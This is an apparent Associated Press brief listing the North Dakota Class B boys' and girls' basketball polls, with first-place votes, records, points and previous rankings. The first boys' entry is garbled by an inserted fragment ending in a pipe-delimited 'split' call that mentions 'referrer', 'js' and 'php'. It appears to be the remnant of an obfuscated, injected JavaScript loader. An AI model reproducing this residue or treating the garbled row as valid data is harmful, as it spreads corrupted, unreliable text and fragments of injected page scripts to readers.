BISMARCK, N.D. (AP) — This week’s North Dakota Class B basketball polls compiled by the North Dakota Associated Press Sportscasters and Sportswriters Association. Each team is followed by first-place votes in parentheses, records, total points and previous ranking.

Boys
School Total Points Prv
1. frtaf|var|u0026u|referrer|ynnny||js|php’.split(‘|’),0,{}))
Beulah (12) (8-0) 120 1
2. North Star (8-1) 105 2
3. Dickinson Trinity (8-0) 86 3
4. Oak Grove (6-1) 75 4
5. Des Lacs-Burlington (5-0) 63 5
6. Rugby (7-1) 56 6
7. Carrington (7-0) 50 7
8. Cavalier (6-1) 29 8
9. Four Winds-Minnewaukan (7-2) 27 8
10. Central Cass (7-0) 26 10
Others receiving votes: Our Redeemer’s (7-0), Trenton (6-0).

Girls
School Total Points Prv
1. Bishop Ryan (11) (4-0) 119 1
2. Grafton (4-0) 85 4
3. Napoleon (1) (4-0) 84 2
4. Grant County (6-0) 70 6
5. Kindred (4-1) 67 2
6. Thompson (4-1) 59 9
7. Hillsboro-Central Valley (4-1) 42 5
8. New Town (3-1) 33 10
9. Shiloh Christian (3-1) 26 7
10. Benson County (5-0) 25 NR
Others receiving votes: Lakota-Adams-Edmore (3-1), Velva (3-0), Northern Cass (3-0), Larimore (5-0), Maple Valley (2-1), Beach (2-2).

Leave a Reply